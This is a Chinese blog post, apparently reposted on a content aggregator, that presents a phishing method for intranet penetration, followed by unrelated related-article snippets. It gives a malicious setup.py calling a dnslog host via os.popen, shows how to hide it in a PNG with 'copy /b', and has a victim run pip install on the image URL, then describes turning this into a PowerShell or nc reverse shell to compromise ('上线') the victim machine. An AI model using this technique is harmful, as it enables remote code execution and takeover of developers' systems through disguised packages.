记录一次即将出现的钓鱼新方式

钓鱼通常是内网渗透过程中的最为常见的入口方式,但是随着蓝队人员溯源反制思路开阔,入侵排查能力提升,钓鱼也越来越困难,这里就记一种不同寻常的钓鱼方式。

pip install 的执行流程:

  1. 先获取到远端的服务器地址 url 比如: http://mirrors.aliyun.com/pypi/simple/
  2. 然后获取到本地的库安装的路径,通过服务器 url 去查找对应的 django 包
  3. 讲找到的包下载到本地
  4. 解压该包到 python 的 site-packages 文件夹中,然后检查是否需要依赖其他包,如果依赖就安装其他的包
  5. 如果有依赖安装则按照同样的流程执行,待完成之后包就安装完成

这里可以看下 pip install 的执行过程

https://blog.csdn.net/qq_33339479/article/details/93094774

这里看下解压的代码,这里 down 下来解压代码如下

def unpack_file(filename: str,location: str,content_type: Optional[str] = None,
) -> None:filename = os.path.realpath(filename)if (content_type == "application/zip"or filename.lower().endswith(ZIP_EXTENSIONS)or zipfile.is_zipfile(filename)):unzip_file(filename, location, flatten=not filename.endswith(".whl"))elif (content_type == "application/x-gzip"or tarfile.is_tarfile(filename)or filename.lower().endswith(TAREXTENSIONS + BZ2EXTENSIONS + XZ_EXTENSIONS)):untar_file(filename, location)else:# FIXME: handle?# FIXME: magic signatures?logger.critical("Cannot unpack file %s (downloaded from %s, content-type: %s);""cannot detect archive format",filename,location,content_type,)raise InstallationError(f"Cannot determine archive format of {location}")

这里先判断了 content-type、filename 的后缀,这里两个都不符合,这里看下最后这个是如何进行判断。需要注意的是,iszipfile() 函数并不会检查文件的扩展名或者文件头等信息来判断文件类型,而是会尝试解压文件并检查解压结果来确定文件是否为 ZIP 压缩文件。因此,即使将非 ZIP 压缩格式的文件的扩展名改为 ".zip",仍然不能通过 iszipfile() 函数的检查。

pip install package_name.zip

这种方式下,pip 会在解压缩安装包后自动执行 setup.py 文件进行安装。在安装过程中,setup.py 文件将会根据包内的 setup.cfg 和 setup.py 文件内容来设置包的安装参数。

所以就导致了静默的命令执行

pip install 引发的命令执行

漏洞复现

(1)先写一段代码

from setuptools import setup
import osdef test():result = os.popen("ping 9uawvq.dnslog.cn")print(result.read())test()setup(name="root",version="1.0"
)

(2)把 setup.py 先放到一个任意文件夹中,然后再将文件夹压缩成 zip 文件,然后再将 zip 文件和 png 图片压缩成 png 图片。(具体命令如下)

(3)然后起一个 http 服务,下图就可以直接访问到。

(4)虚拟机(受害机)直接执行 pip install "http://172.211.55.3/dog2.png" 这里写的命令是 ping dnslog 地址。这里 dnslog 成功接收到。

引发的钓鱼:

假设是 windows 系统上钩,那么我们可以让他执行 powershell 或者 certutils 来进行远程下载并落地执行。这里还是用之前的方法写 powershell 不落地执行的投毒。

这里把 setup.py 改为上述的代码,然后放入到任意文件夹下,然后进行压缩成 1.zip 然后执行代码

copy /b dog.png+1.zip dog2.png

然后肉鸡执行 pip install "http://xxxxx/dog2.png" 即可成功上线。

直接上线 linux(简单实用 nc 命令)

这里修改 setup.py 为如下内容,然后按照复现步骤,将文件夹生成文件。

然后用 pip install "http://xxx/dog2.png" 即可成功上线。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/36021.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

node.js 面试题 1

### 明天要去面试了 今天晚上突击一下node.js 什么是Node.js?它有什么特点? Node.js是一个基于Chrome V8引擎的JavaScript运行环境,它允许在服务器端运行JavaScript代码。它的特点包括单线程、非阻塞I/O、事件驱动等 …

dispatch_after

dispatch_after dispatch_after dispatch_after dispatch_after函数并不是延迟对应时间后立即执行block块中的操作,而是将任务追加到对应队列中,考虑到队列阻塞等情况,所以这个任务从加入队列到真正执行的时间是不准确的。 dispatch_after(…

Kubernetes CSI livenessprobe探活

Kubernetes CSI livenessprobe探活 要实现一个Kubernetes CSI的livenessprobe探活,可以有以下三种方法: HttpServer 1、在CSI中实现一个简单的HttpServer,暴露探活接口; GRPC探测 2、CSI镜像中,增加grpcurl命令&a…

单目标应用:基于吸血水蛭优化器(Blood-Sucking Leech Optimizer,BSLO)的微电网优化(MATLAB代码)

一、微电网模型介绍 微电网多目标优化调度模型简介_vmgpqv-CSDN博客 参考文献: [1]李兴莘,张靖,何宇,等.基于改进粒子群算法的微电网多目标优化调度[J].电力科学与工程, 2021, 37(3):7 二、吸血水蛭优化器求解微电网 2.1算法简介 吸血水蛭优化器(B…

【Java Web】Tomcat服务器

目录 一、Tomcat是什么 二、Tomcat安装 三、Tomcat相关目录 四、Web项目标准目录结构规范 五、Tomcat项目部署方式 六、IDEA关联本地Tomcat 七、HTTP协议 7.1 http的交互方式 7.1.1 http长连接和短连接 7.1.2 http1.1缓存机制 7.2 http数据报文格式 八、常见响应状态码 一、Tom…

印刷企业数字工厂管理系统如何保障产品质量

一、引言 随着信息技术的迅猛发展,印刷行业也迎来了数字化转型的浪潮。数字工厂管理系统作为这一转型的核心工具,不仅在提高生产效率、优化资源配置方面发挥了重要作用,更在保障产品质量上扮演着关键角色。本文将深入探讨印刷企业数字工厂管…

浏览器扩展V3开发系列之 chrome.contextMenus 右键菜单的用法和案例

【作者主页】:小鱼神1024 【擅长领域】:JS逆向、小程序逆向、AST还原、验证码突防、Python开发、浏览器插件开发、React前端开发、NestJS后端开发等等 chrome.contextMenus 允许开发者向浏览器的右键菜单添加自定义项。 在使用 chrome.contextMenus 之前…

本地读取classNames txt文件

通过本地读取classNames,来减少程序修改代码,提高了程序的拓展性和自定义化。 步骤: 1、输入本地路径,分割字符串。 2、将className按顺序放入vector容器中。 3、将vector赋值给classNmaes;获取classNames.size(),赋值给CLASSES;这样,类别个数和类别都已经赋值完成。…

Python | Leetcode Python题解之第199题二叉树的右视图

题目: 题解: class Solution:def rightSideView(self, root: TreeNode) -> List[int]:rightmost_value_at_depth dict() # 深度为索引,存放节点的值max_depth -1stack [(root, 0)]while stack:node, depth stack.pop()if node is not…

第N8周:seq2seq翻译实战-Pytorch复现

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 | 接辅导、项目定制 一、前期准备 from __future__ import unicode_literals, print_function, division from io import open import unicodedata import s…

什么是堡垒机(运维审计系统)?

一、堡垒机是什么 1.1 堡垒机的来由 堡垒机是从跳板机(也叫前置机)的概念演变过来的。早在2000年左右的时候,一些中大型企业为了能对运维人员的远程登录进行集中管理,会在机房部署一台跳板机。 跳板机其实就是一台lunix/windows…

50、基于NARX神经网络的磁悬浮建模(matlab)

1、NARX神经网络简介 NARX(非线性自回归外部输入)神经网络是一种用于非线性建模和预测的神经网络结构。与传统的自回归模型不同,NARX网络可以接收外部输入来影响输出结果,从而更好地捕捉系统的复杂性和非线性特征。 NARX神经网络…

NodeJs之npm、yarn、pnpm设置最新的淘宝镜像下载源

NodeJs之npm、yarn、pnpm设置最新的淘宝镜像下载源 文章目录 NodeJs之npm、yarn、pnpm设置最新的淘宝镜像下载源1. 查看默认的下载源1. npm2. yarn3. pnpm 2. 设置最新的淘宝镜像地址1. npm2. yarn3. pnpm 1. 查看默认的下载源 1. npm C:\Users\jinshengyuan>npm get regi…

STM32 SPI实战篇:驱动W25Q64 Flash存储器的技巧与方法

摘要 在嵌入式系统开发中,非易失性存储是必不可少的一部分。W25Q64作为SPI Flash存储器的一种,以其较高的存储密度和擦写次数受到广泛应用。本文将深入探讨STM32通过SPI驱动W25Q64的实战技巧和方法,包括硬件连接、SPI配置、读写操作&#xf…

竞赛选题 python+深度学习+opencv实现植物识别算法系统

0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 基于深度学习的植物识别算法研究与实现 🥇学长这里给一个题目综合评分(每项满分5分) 难度系数:4分工作量:4分创新点:4分 🧿 更多…

基于Java微信小程序自驾游拼团设计和实现(源码+LW+调试文档+讲解等)

💗博主介绍:✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者,博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌💗 🌟文末获取源码数据库🌟感兴趣的可以先收藏起来,还…

27. 高级特性(下)

目录 一、为了类型安全和抽象而使用 newtype 模式二、使用类型别名创建类型同义词2.1 使用type关键赋予现有类型一个别名2.2 减少重复2.3 与Result<T, E>结合使用2.4 从不返回的 never type 三、高级函数和闭包3.1 函数指针3.2 返回闭包 四、宏4.1 宏和函数的区别4.2 mac…

python基础语法 003-3 数据类型元组

1 元组 1.1 元组含义 1.1.1 元组的表示 #元组的表示方法:() names ("xiaoyun", "xiaoming") print(names)--结果------- (xiaoyun, xiaoming) 1.1.2 空元组 #空元组 names () print(type(names)) print(len(names))----------------结果--------- &l…

安装vue开发者工具

浏览器控制台提示&#xff1a; 打开网址 GitHub - vuejs/devtools: ⚙️ Browser devtools extension for debugging Vue.js applications. 点击添加 上图地址&#xff1a;Installation | Vue Devtools 安装好了

Spring Boot中如何使用Flyway进行数据库版本控制

Spring Boot中如何使用Flyway进行数据库版本控制 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;在现代的软件开发中&#xff0c;数据库版本控制是保证应用程序…